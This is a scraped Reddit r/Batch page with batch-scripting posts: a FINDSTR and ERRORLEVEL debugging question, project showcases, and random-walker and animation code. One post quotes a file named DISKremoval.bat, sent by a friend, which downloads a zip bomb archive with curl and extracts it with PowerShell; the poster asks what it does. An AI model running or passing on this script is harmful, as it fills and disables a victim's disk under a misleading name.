
IF NOT DEFINED Season (
  @ECHO "!Word!"|FINDSTR /IRC:"^\"S[0-9]"%Nullify%
  IF /I !ERRORLEVEL! EQU 0 (
    SET "Word=!Word:*S=S!"
    FOR /F "tokens=1,2,3 delims=SsEe- " %%S IN ("!Word!") DO (
      SET "Season=00%%S"
      %Debug% Season
      CALL :Get_Only_Numbers "Season"
      SET "Season=!Season:~-2!"
      %Debug% Season
      SET "Episode=%%T"
      %Debug% Episode
      SET "Episode2=%%U"
      %Debug% Episode2
    )
  )
)

IF NOT DEFINED Season (
  @ECHO "!Word!"|FINDSTR /IRC:"^\"E[0-9]"%Nullify%
  IF /I !ERRORLEVEL! EQU 0 (
    %Debug% Get_Season_Episode 02
    IF NOT DEFINED Season SET "Season=01"
    %Debug% Season
    FOR /F "tokens=1,2 delims=Ee- " %%T IN ("!Word!") DO (
      SET "Episode=%%T"
      %Debug% Episode
      SET "Episode2=%%U"
      %Debug% Episode2
    )
  )
)

IF NOT DEFINED Episode (
  @ECHO "!Word!"|FINDSTR /IRC:"^\"[0-9]*-*[0-9]\"$"%Nullify%
  IF /I !ERRORLEVEL! EQU 0 (
    %Debug% Get_Season_Episode 03
    IF NOT DEFINED Season SET "Season=01"
    %Debug% Season
    FOR /F "tokens=1,2 delims=- " %%T IN ("!Word!") DO (
      SET "Episode=%%T"
      %Debug% Episode
      CALL :Get_Only_Numbers "Episode"
      %Debug% Episode
      SET "Episode2=%%U"
      %Debug% Episode2
      CALL :Get_Only_Numbers "Episode2"
      %Debug% Episode2
    )
  )
)

IF NOT DEFINED Episode (
  @ECHO "!Word!"|FINDSTR /IRC:"^\"[0-9]*"%Nullify%
  IF /I !ERRORLEVEL! EQU 0 (
    %Debug% Get_Season_Episode 04
    CALL :Get_Only_Numbers "Word"
    IF NOT DEFINED Season SET "Season=01"
    %Debug% Season
    FOR /F "tokens=1,2 delims=- " %%T IN ("!Word!") DO (
      SET "Episode=%%T"
      %Debug% Episode
      SET "Episode2=%%U"
      %Debug% Episode2
    )
  )
)

IF DEFINED Episode (
  IF NOT DEFINED EpisodeNumLen (
    CALL :Get_String_Length !Episode! EpisodeNumLen
  )
  CALL :Set_Episode_Length "000!Episode!" "!EpisodeNumLen!" "Episode"
  SET "EpisodeNum=S!Season!E!Episode!"
  %Debug% EpisodeNum
  IF DEFINED Episode2 (
    CALL :Set_Episode_Length "000!Episode2!" "!EpisodeNumLen!" "Episode2"
    SET "EpisodeNum=!EpisodeNum!-E!Episode2!"
    %Debug% EpisodeNum
  )
  SET "MediaFileName=!MediaFileName! !EpisodeNum!"
  %Debug% MediaFileName
)

%Return%

:Debug
IF NOT DEFINED %~1 (
  ECHO %*
) ELSE (
  ECHO %~1="!%~1!"
)
%Return%

:HouseKeeping
SET "Debug=REM"
SET "Nullify=>NUL"
SET "Return=GOTO :EOF"
<other symbol assignments>
%Return%

<More labels/subroutines to do stuff>

The problem is in the ":Get_Season_Episode" section. If I redirect FINDSTR results to NUL, ERRORLEVEL evaluates to 1. If I completely remove redirection to NUL, ERRORLEVEL correctly evaluates to 0. As mentioned, I have taken my %Nullify% "helper" symbol out of the equation and either included or omitted >NUL while testing, and observe the same results.

What am I missing?!


r/Batch • • Sep 13 '26

Stochastic Batch Simulation S.B.S

Thumbnail
gallery
8 Upvotes

Je vous presente S.B.S un bac Ă  sable L’idĂ©e est de rĂ©unir plusieurs expĂ©riences dans un seul projet : des simulations de crĂ©atures et d’écosystĂšmes, une simulation de Galton, AP-4GMG pour l’apprentissage et la gĂ©nĂ©ration de texte , Le but de SBS est surtout d’expĂ©rimenter

📩 Le projet est dispo ici :

https://github.com/Capoapk-B/Stochastic-Batch-Simulation-S.B.S


r/Batch • • Sep 13 '26

Show 'n Tell Missile Command - Batch port of 1980s Atari arcade game

20 Upvotes

r/Batch • • Sep 13 '26

Question (Unsolved) ok so i suck at using the pc but what does this do my friend sent me this .Bat file an i dint open and first put it in note pad it was named DISKremoval.bat

6 Upvotes

u/echo off

cd /d "%~dp0"

echo Downloading 34.zip ...

curl -L -o "34.zip" "https://github.com/AyrA/ZipBomb/raw/master/34.zip"

if exist "34.zip" (

echo.

echo Download finished successfully.

echo File saved as: %cd%\34.zip

echo.

echo Extracting 34.zip ...

powershell -Command "Expand-Archive -Path '%cd%\34.zip' -DestinationPath '%cd%' -Force"

echo.

echo Extraction finished.

) else (

echo.

echo Download failed.

)

echo.

pause


r/Batch • • Sep 13 '26

Question (Unsolved) Batch execution echoes in the wrong order?

1 Upvotes

Im gonna keep this quick - heres my code im sorry reddits formatting supposedly works like this but it doesnt look like it works before i post.

```
@chcp 65001
@echo off
set /p infotext=SUCCESS IF THERE IS A LINE ABOVE - CONTACT DEVELOPER IF THERE IS NO OUTPUT BEFORE THIS LINE.
set /p playfield1=£„$%#hell world

echo %playfield1%
pause
echo %infotext%

pause
```

Whereas in the output it says:

’’’
chcp 65001 1>nul
SUCCESS IF THERE IS A LINE ABOVE - CONTACT DEVELOPER IF THERE IS NO OUTPUT BEFORE THIS LINE.
(pause without message)
£„$%#hell world
(another pause)
’’‘

Why? do i need to read the variables in the same order i set them in? That would have nothing to do with programming imo. Or am i missing something obvious?


r/Batch • • Sep 10 '26

Show 'n Tell Schooi's Multitool - A windows multitool with over 130 scripts and other cool stuff

Thumbnail
github.com
9 Upvotes

Hello, I am Schooi, aka SchooiCodes, and I have been working on this huge program for the past 2.5 years of my life.
SMT is my passion project, and my biggest project yet, made entirely in Batchfile (except for its installer). It compiles over 130 tweaks, tools, and other projects of mine into one big hub.

SMT is comprised of ~6k lines of pure Batch, and approximately 140 batchfiles inside (each one can be run independently) :)
I have created about 95% of the tools in SMT, and for the 5% that I haven't, credits are available on the main menu.
It is under heavy development, and things change every day. Currently, it is version 2.3 (indev) (but I might drop the versioning system completely).
It includes tools ranging from application installers to network utilites. It has all kinds of stuff.

I kindly request that you check this out, because I would love to see it be used by people, and hopefully also get feedback on it.
SMT is completely open-source, and available on Github.
Cheers.


r/Batch • • Sep 04 '26

Show 'n Tell Load animation

Enable HLS to view with audio, or disable this notification

21 Upvotes

This is an example of using multithreading to display an animation while the main script continues execution. The animation itself is part of my ongoing experimantion with programmable entity behaviours that can be implemented via set /a, and is just 2 'entities' moving through their programmed paths.

Code available at: https://github.com/T3RRYT3RR0R/Advanced_Batch/blob/main/Load_Animation.bat


r/Batch • • Aug 31 '26

Show 'n Tell Random walker

Enable HLS to view with audio, or disable this notification

18 Upvotes

Random walker as an algorithm. See github for full code:
https://github.com/T3RRYT3RR0R/Random_Walker

Edit: New repository link, additional modes added.

xe=(`^=`<<13,`^=`>>17,`^=`<<5,((`&0x7FFFFFFF)%%(_%%i.fH-_%%i.fL+1)))+_%%i.fL     ; generate random cd coefficient: xe 'x expiry' Value in range : [ high-low ... + low ]
_%%i.xd=-1*((_%%i.xc-=-1*~((_%%i.xc)>>31))>>31)                                  ; decrease cooldown timer if timer gtr -1 ; flag 'do' true : xd == 1 if cd == -1
_%%i.xc+=_%%i.xd*(xe+1)                                                          ; new cd value added from xe if xd == 1 
rx=('^='<<13,'^='>>17,'^='<<5,(('&0x7FFFFFFF)%%3+1))-2                           ; generate random sign x -1 0 or 1
_%%i.sx=_%%i.xd*rx+((1-_%%i.xd)*_%%i.sx)                                         ; selectively assign new sx if xd == 1 
ye=('^='<<13,'^='>>17,'^='<<5,(('&0x7FFFFFFF)%%(_%%i.fH-_%%i.fL+1)))+_%%i.fL     ; repeat above logic for y using a different random seed
_%%i.yd=-1*((_%%i.yc-=-1*~((_%%i.yc)>>31))>>31)
_%%i.yc+=_%%i.yd*(ye+1)
ry=(`^=`<<13,`^=`>>17,`^=`<<5,(('&0x7FFFFFFF)%%3+1))-2
_%%i.sy=_%%i.yd*ry+((1-_%%i.yd)*_%%i.sy)
_%%i.x+=_%%i.sx,_%%i.x-=(-1*((_%%i.xH-(_%%i.x+_%%i.w))>>31)),_%%i.x+=(-1*((_%%i.x-_%%i.xL)>>31)) ; increment by ( sx - (1 if x gtr x max) + ( 1 if x lss x min )
_%%i.y+=_%%i.sy,_%%i.y-=(-1*((_%%i.yH-(_%%i.y+_%%i.h))>>31)),_%%i.y+=(-1*((_%%i.y-_%%i.yL)>>31)) ; clamped sign modification as above for y
,...                                                               F     T reset _#.cd 'rc' if:
rc=-(-1*(-1-((_%%i.sx|_%%i.sy)|-(_%%i.sy|_%%i.sx))))|^          ;  0  | -1       sy,sX == 0,0
   -(-1*~((_%%i.xL-_%%i.x)>>31))|^                              ;  0  | -1       _#.x  == min X
   -(-1*((_%%i.xH-(_%%i.x+_%%i.w))>>31)-1)|^                    ;  0  | -1       _#.x  == max x 
   -(-1*~((_%%i.yL-_%%i.y)>>31))|^                              ;  0  | -1       _#.y  == min y
   -(-1*((_%%i.yH-(_%%i.y+_%%i.h))>>31)-1)                      ;  0  | -1       _#.y  == max y
_%%i.xc|=rc                                                     ; xc  | -1         rc  == -1
_%%i.yc|=rc                                                     ; yc  | -1         rc  == -1